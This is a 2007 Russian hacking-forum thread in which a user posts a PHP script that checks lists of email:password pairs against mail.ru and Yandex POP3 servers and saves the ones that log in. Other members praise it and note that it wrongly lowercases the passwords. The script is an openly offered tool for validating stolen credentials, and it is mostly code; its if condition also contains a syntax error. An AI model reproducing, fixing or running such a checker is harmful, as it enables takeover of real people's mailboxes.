Чеккер мыльников на Php

Discussion in 'Уязвимости Mail-сервисов' started by Scipio, 3 Dec 2007.

  1. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Чеккер емайлов:
    PHP:
    <?php
    error_reporting
    (E_ALL);
    set_time_limit(0);
    $fr=fopen("lst.txt","r");
    $fw=fopen("result.txt","w");
    $cfg=file("servers.txt");
    $i=0;

    foreach(
    $cfg as $lst)
       {
           
    $lst=strtolower($lst);
        
    $cfg[$i]=explode(':',$lst);
        
    $i++;
        }

    while (!
    feof ($fr))
       {
        
    $buffer fgets($fr,255);
        
    $buffer strtolower($buffer);
        
    $lp=explode(':',$buffer,2);
        
    $log=explode('@',$lp[0],2);
        
    $i=0;

        foreach(
    $cfg as $lst)
          {

           if (
    trim($log[1])== trim($lst[2])) and (isset($lp[1])))
              {
                  
    $serv=$lst[0];
                  
    $prt=$lst[1];
                  
    $i=1;
                  break;
                 }
          }
         if (
    $i==1)
             {
               
    $ock=fsockopen($serv,$prt);
               
    $html=fgets($ock);
               
    $usr="user ".$log[0]."\n";
               
    fputs($ock,$usr);
               
    $html=fgets($ock);
               
    $pwr="pass ".$lp[1]."\n";
               
    fputs($ock,$pwr);
               
    $html=fgets($ock);

               if (
    preg_match("/OK/",$html))
                 {
                  
    fputs($fw,$buffer);
                  
    fclose($ock);
                 }
               else
                 {
                     
    fclose($ock);
                    }
             }
       }
    echo 
    "OK!";
    fclose($fr);
    fclose($fw);
    ?>
    опять же промежуточный вариант, но немноного об функционале, в файле lst.txt мылники в формате:
    user@мало.дмн:pass

    пример файла lst.txt:
    причем регистр неважен

    в файле result.txt окажутся рабочие варианты (т.е. валидные)

    и еще есть конфигурационный файл, который все сами могут изменять, имя ему "servers.txt", в нем настройки основные, в нем, через двоеточее идут:
    имя поп сервера,порт поп сервера (обычно 110),и обозначение в адресе электронной почты, пример (вполне рабочий и мной используемый):
    Code:
    pop.mail.RU:110:mail.ru
    pop.yandex.ru:110:yAndex.ru
    опять же регистр не имеет значения...


    Если комуто будет интересно это, прикручу интерфейс какойнить (если нужен), кстати кто этими вещами занимаются могут выложить свои варианты файла servers.txt, тогда другие тоже будут пользоваться этим файлом.
     
    4 people like this.
  2. Tukoitsr

    Tukoitsr New Member

    Joined:
    25 Nov 2007
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    отличный скрипт! ПРавда ты его писал наверно не долго т. к. особого труда написать не составляет)) главное ведь желание и умение. Часто бывает что одно есть а другого нету. А вот у етого чела видно обе эти функции работают.
    Хороший скрипт: +5
     
  3. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    +1 за интерфейс .
     
    1 person likes this.
  4. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    Хм, интерфейса, то и нет по большому счету, но я рад, что это комуто понравилось, еще больше рад, что это комуто пригодилось
     
  5. mister

    mister Elder - Старейшина

    Joined:
    24 Jul 2007
    Messages:
    30
    Likes Received:
    16
    Reputations:
    4
    Нужно добавить файлу lst.txt регистрозависимость, т.к. для паролей важен регистр.
     
  6. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    хм регистр важен))) особенно в рамблере))) так что...